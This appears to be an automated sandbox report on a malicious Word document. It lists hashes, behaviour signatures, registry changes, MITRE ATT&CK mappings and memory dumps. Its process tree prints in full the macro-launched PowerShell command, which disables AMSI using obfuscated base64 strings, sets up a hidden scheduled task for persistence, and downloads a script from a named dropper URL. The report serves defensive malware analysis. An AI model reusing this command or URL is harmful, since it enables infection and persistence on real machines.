f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 15:02

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General

Target

f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc
Size

1.1MB
MD5

ca09b19b6975e090fb4eda6ced1847b1
SHA1

a7a2f5f7a70dab85f6ee173b9cde4507ed723ac5
SHA256

f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3
SHA512

c536808f3c015a4473b50817cc3181763348428652903aad26697865ba83de4ac97f4bd7977bc986133e44582913065c68b9c882e6e7ff2d8a59e45c8d0e57cb
SSDEEP

12288:fDmofgI7jf+hXEX62Jp7GqRCXCXCXB3ClforCz2XCKk2XC/kZnR99Wduz:fKCgI72qkZnR99O

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1464	384	powershell.exe	27

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1464	powershell.exe
7	1464	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1816	schtasks.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2576	systeminfo.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
384	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1464	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1464	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
384	WINWORD.EXE
384	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 384 wrote to memory of 1464	384	WINWORD.EXE	28
PID 384 wrote to memory of 1464	384	WINWORD.EXE	28
PID 384 wrote to memory of 1464	384	WINWORD.EXE	28
PID 384 wrote to memory of 1464	384	WINWORD.EXE	28
PID 1464 wrote to memory of 2576	1464	powershell.exe	32
PID 1464 wrote to memory of 2576	1464	powershell.exe	32
PID 1464 wrote to memory of 2576	1464	powershell.exe	32
PID 1464 wrote to memory of 2576	1464	powershell.exe	32
PID 1464 wrote to memory of 1816	1464	powershell.exe	35
PID 1464 wrote to memory of 1816	1464	powershell.exe	35
PID 1464 wrote to memory of 1816	1464	powershell.exe	35
PID 1464 wrote to memory of 1816	1464	powershell.exe	35
PID 384 wrote to memory of 1060	384	WINWORD.EXE	36
PID 384 wrote to memory of 1060	384	WINWORD.EXE	36
PID 384 wrote to memory of 1060	384	WINWORD.EXE	36
PID 384 wrote to memory of 1060	384	WINWORD.EXE	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell systeminfo; [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true); schtasks /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "C:\Users\Public\WindowsKeys.ps1"'; (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580','C:\Users\Public\WindowsKeys.ps1')
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\SysWOW64\systeminfo.exe
    "C:\Windows\system32\systeminfo.exe"
    3⤵
    - Gathers system information
    PID:2576
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Users\Public\WindowsKeys.ps1"
    3⤵
    - Creates scheduled task(s)
    PID:1816
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
17096ad5027e2ad006f6e084353ae2a2

SHA1
0f2de1b030854cd25d2420f7ec3a4517cc692396

SHA256
0219dca521cb8d71137e9c1e9453d432388a0a2cb4a2856a142db25f26ecc32d

SHA512
3930a18b99c7aceda41f3d1f0c70cbcdbe5e3c496462d19ce290fef52aaaad012794300179af57ed89a13df83f6592937dade2466941ec9061d1c762688f2a53

Download Submit
memory/384-360-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-364-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-5-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-6-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-7-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-8-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-9-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-10-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-11-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-16-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-15-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-14-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-13-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-12-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-91-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-95-0x0000000005660000-0x0000000005760000-memory.dmp

Filesize
1024KB

Download
memory/384-93-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-94-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-100-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-102-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-103-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-101-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-99-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-98-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-97-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-96-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-92-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-179-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-181-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-184-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-187-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-269-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-270-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-268-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-267-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-272-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-274-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-276-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-277-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-275-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-2-0x00000000714DD000-0x00000000714E8000-memory.dmp

Filesize
44KB

Download
memory/384-354-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-182-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-363-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-362-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-441-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-440-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-525-0x0000000005660000-0x0000000005760000-memory.dmp

Filesize
1024KB

Download
memory/384-439-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-361-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-359-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-358-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-357-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-356-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-355-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-353-0x0000000005660000-0x0000000005760000-memory.dmp

Filesize
1024KB

Download
memory/384-352-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-273-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-271-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-266-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-265-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-190-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-189-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-188-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-186-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-185-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-183-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-0-0x000000002F521000-0x000000002F522000-memory.dmp

Filesize
4KB

Download
memory/384-180-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-178-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-537-0x00000000714DD000-0x00000000714E8000-memory.dmp

Filesize
44KB

Download
memory/384-538-0x0000000005660000-0x0000000005760000-memory.dmp

Filesize
1024KB

Download
memory/384-558-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/384-578-0x00000000714DD000-0x00000000714E8000-memory.dmp

Filesize
44KB

Download
memory/384-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/384-562-0x0000000005660000-0x0000000005760000-memory.dmp

Filesize
1024KB

Download
memory/384-560-0x0000000005660000-0x0000000005760000-memory.dmp

Filesize
1024KB

Download
memory/384-559-0x0000000000460000-0x0000000000560000-memory.dmp

Filesize
1024KB

Download
memory/1464-536-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/1464-531-0x000000006AF70000-0x000000006B51B000-memory.dmp

Filesize
5.7MB

Download
